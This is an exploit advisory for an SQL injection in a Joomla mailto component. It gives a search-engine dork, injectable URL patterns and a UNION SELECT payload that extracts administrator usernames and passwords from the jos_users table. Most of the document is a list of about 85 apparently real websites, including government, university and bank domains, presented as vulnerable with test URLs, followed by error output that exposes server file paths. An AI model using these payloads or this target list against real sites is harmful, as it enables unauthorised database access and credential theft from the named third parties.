####################################################################
# Exploit Title : Joomla Mailto Components 1.2.2.2 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 04/02/2019
# Vendor Homepage : hr-it-solutions.com
# Software Download Link : github.com/eddieajau/joomla-mailto
github.com/eddieajau/joomla-mailto/archive/master.zip
hr-it-solutions.com/joomla-erweiterungen/disable-mailto
# Software Information Link : extensions.joomla.org/extension/dd-disable-mailto/
# Software Version : 1.2.2.2
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_mailto''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# Old Similar CVE [ Only Version is different ] : CVE-2009-1499
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
####################################################################
# Description about Software :
***************************
Joomla! system plugin to disable mailto function.
Disable MailTo disables also the "recommend to a friend link"
and the "recommend to a friend form" from frontend.
####################################################################
# Impact :
***********
SQL injection vulnerability in the MailTo (aka com_mailto) component in Joomla!
allows remote attackers to execute arbitrary SQL commands via the different parameters in index.php.
Joomla Mailto 1.2.2.2 component for Joomla is prone to an SQL-injection
vulnerability because it fails to sufficiently sanitize user-supplied
data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application,
access or modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application
and execute arbitrary SQL commands in application`s database.
Further exploitation of this vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser.
####################################################################
# SQL Injection Exploit :
**********************
/index.php?option=com_mailto&tmpl=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&type=raw&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=mailto&article=[SQL Injection]&Itemid=1
/index.php?option=com_mailto&tmpl=mailto&article=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=gantry&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=skyextend-fjt&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=kallyas&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=ca_cloudbase2_j25&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=jf_texturia&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=jsn_boot_pro&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=jm-business-marketing&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=findario1.7&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=beez_20&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=allrounder-j1.6&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=siteground-j16-41&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=nagariknews&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=sarmuni&link=[SQL Injection]
# Example SQL Injection Exploit Payload :
*************************************
+and+1=2+union+select+concat(username,char(58),password)administrator+from+jos_users--
+and+1=2+union+select+concat(username,char(58),password)administrator+from+jos_users--&Itemid=1
####################################################################
# Example Vulnerable Sites :
*************************
[+] comunesanteodoro.gov.it/barracelli/index.php?option=com_mailto&tmpl=component&link=1%27
[+] ueh.edu.ht/migrationueh/index.php?option=com_mailto&tmpl=component&link=1%27
[+] rethinkingwater.scripts.mit.edu/group/index.php?option=com_mailto&tmpl=component&link=1%27
[+] leterrazzeustica.it/index.php?option=com_mailto&tmpl=component&template=kallyas&link=1%27
[+] msbkarachi.edu.pk/ha/index.php?option=com_mailto&tmpl=component&link=1%27
[+] munihuancayre.gob.pe/web/index.php?option=com_mailto&tmpl=component&link=1%27
[+] bappedamj.muarojambikab.go.id/index.php?option=com_mailto&tmpl=component&link=1%27
[+] senior.ceng.metu.edu.tr/2009/4plusyazilim/index.php?option=com_mailto&tmpl=component&link=1%27
[+] mirnett.org/pub/index.php?option=com_mailto&tmpl=component&link=1%27
[+] bgffc.de/index.php?option=com_mailto&tmpl=component&link=1%27
[+] iccembra.it/joomla/index.php?option=com_mailto&tmpl=component&link=1%27
[+] eas-ancenis.com/jmla/index.php?option=com_mailto&tmpl=component&link=1%27
[+] gruppoicipressi.it/index.php?option=com_mailto&tmpl=component&link=1%27
[+] villaggiolafeluca.com/index.php?option=com_mailto&tmpl=component&template=gantry&link=1%27
[+] tmmigb.org/index.php?option=com_mailto&tmpl=component&link=1%27
[+] pgk.milejow.pl/index.php?option=com_mailto&tmpl=component&link=1%27
[+] anticapievediverdeto.it/joomla/index.php?option=com_mailto&tmpl=component&link=1%27
[+] costapecas.pt/index.php?option=com_mailto&tmpl=component&link=1%27
[+] stawisko.pila.pl/index.php?option=com_mailto&tmpl=component&type=raw&link=1%27
[+] telfaco.nl/index.php?option=com_mailto&tmpl=component&link=1%27
[+] hokejovekarty.sk/portal/index.php?option=com_mailto&tmpl=component&link=1%27
[+] etap.com.ec/index.php?option=com_mailto&tmpl=component&template=skyextend-fjt&link=1%27
[+] imbotero.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] luparco.com.br/luparco/index.php?option=com_mailto&tmpl=component&link=1%27
[+] jasminepensionhouse.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] bioaktives-hyaluron.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] wentylator.w.inds.pl/index.php?option=com_mailto&tmpl=component&link=1%27
[+] quantum-student.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] laskawy.de/index.php?option=com_mailto&tmpl=component&link=1%27
[+] 208.97.176.68/index.php?option=com_mailto&tmpl=component&link=1%27
[+] tdft.or.tz/index.php?option=com_mailto&tmpl=component&link=1%27
[+] aesclick.com/public/joomla/index.php?option=com_mailto&tmpl=component&link=1%27
[+] support.avadtechnologies.net/index.php?option=com_mailto&tmpl=component&link=1%27
[+] theeravadee.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] sislab.be/index.php?option=com_mailto&tmpl=component&link=1%27
[+] hellfirehounds.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] lazydecky.pilchardpress.co.uk/index.php?option=com_mailto&tmpl=1%27
[+] gesundheitsurlaub-mit-zuschuss.de/index.php?option=com_mailto&tmpl=component&link=1%27
[+] yavson.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] 1.guiadeturismo.tur.br/backup/index.php?option=com_mailto&tmpl=component&link=1%27
[+] dunyaengelliler.org.tr/index.php?option=com_mailto&tmpl=component&link=1%27
[+] fromsoft.com.br/index.php?option=com_mailto&tmpl=component&link=1%27
[+] apnirewari.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] dellsrifleclub.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] waterpoloeasterns.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] gator.azul.gl/index.php?option=com_mailto&tmpl=component&link=1%27
[+] test2.methomas.net/index.php?option=com_mailto&tmpl=component&link=1%27
[+] timeforchange-online.de/index.php?option=com_mailto&tmpl=component&link=1%27
[+] rambose.co.za/index.php?option=com_mailto&tmpl=component&link=1%27
[+] nhvtxriders.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] site3.jazzhot.fr/index.php?option=com_mailto&tmpl=component&link=1%27
[+] pipeorgansof.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] saneville.com.br/index.php?option=com_mailto&tmpl=component&link=1%27
[+] rharef.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] cpssepticandsewer.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] g10.is/daleidsla/index.php?option=com_mailto&tmpl=component&link=1%27
[+] leonardo.zspklanino.pl/index.php?option=com_mailto&tmpl=component&link=1%27
[+] russianridge.ihed.ras.ru/index.php?option=com_mailto&tmpl=component&link=1%27
[+] floradoceara.com.br/index.php?option=com_mailto&tmpl=component&link=1%27
[+] ait.co.zw/index.php?option=com_mailto&tmpl=component&link=1%27
[+] capitalbank.co.zw/index.php?option=com_mailto&tmpl=component&link=1%27
[+] next-sensation.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] pr.witainment.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] fmnovasiao.com.br/879/index.php?option=com_mailto&tmpl=component&link=1%27
[+] ecotrailtreks.com.np/index.php/index.php?option=com_mailto&tmpl=component&link=1%27
[+] graycommunity.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] reise.pulverl.at/index.php?option=com_mailto&tmpl=component&link=1%27
[+] globaltransport.com.br/index.php?option=com_mailto&tmpl=component&link=1%27
[+] scngos.falconmasr.com/index.php?option=com_mailto&tmpl=component&link=1%27
[+] aglsystems.eu/index.php?option=com_mailto&tmpl=component&link=1%27
[+] ruszim.org.zw/index.php?option=com_mailto&tmpl=component&link=1%27
[+] fymsac.com.pe/index.php?option=com_mailto&tmpl=component&link=1%27
[+] joomlatemplatedemos.bytemotion-software.de/joomla/index.php?option=com_mailto&tmpl=component&link=1%27
[+] decopinball.co.uk/index.php?option=com_mailto&tmpl=component&link=1%27
[+] idesign.co.zw/index.php?option=com_mailto&tmpl=component&type=raw&link=1%27
[+] konservasi.id/index.php?option=com_mailto&tmpl=component&link=1%27
[+] hearingaidz.ca/index.php?option=com_mailto&tmpl=component&link=1%27
[+] catholicreddy.com/index.php?option=com_mailto&tmpl=component&template=jf_texturia&link=1%27
[+] novoarte.com.mx/index.php?option=com_mailto&tmpl=component&template=jsn_boot_pro&link=1%27
[+] topic.com.pl/silownia/index.php?option=com_mailto&tmpl=component&template=jm-business-marketing&link=1%27
[+] nuovobasketsoccorso.it/old_site_2015/index.php?option=com_mailto&tmpl=component&template=findario1.7&link=1%27
[+] ilrosetostore.com/index.php?option=com_mailto&tmpl=component&template=beez_20&link=1%27
[+] lnx.isc-fabriano.it/joomla17ok/index.php?option=com_mailto&tmpl=component&template=allrounder-j1.6&link=1%27
[+] ikarusproyect.com/index.php?option=com_mailto&tmpl=component&template=siteground-j16-41&link=1%27
[+] e.myrepublica.com/2015/index.php?option=com_mailto&tmpl=component&template=nagariknews&link=1%27
[+] tobytompkins.com/index.php?option=com_mailto&tmpl=component&link=1%27
####################################################################
# Example SQL Database Error :
****************************
Strict Standards: Non-static method JLoader::import() should not be
called statically in /home/hellfire/public_html/libraries/joomla/import.php on line 29
Strict Standards: Only variables should be assigned by reference in
/web/htdocs/www.leterrazzeustica.it/home/templates
/it_thelodge3/component.php on line 12
Strict Standards: Accessing static property JCache::$_handler
as non static in /web/htdocs/www.nuovobasketsoccorso.it
/home/old_site_2015/libraries/joomla/cache/cache.php on line 420
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################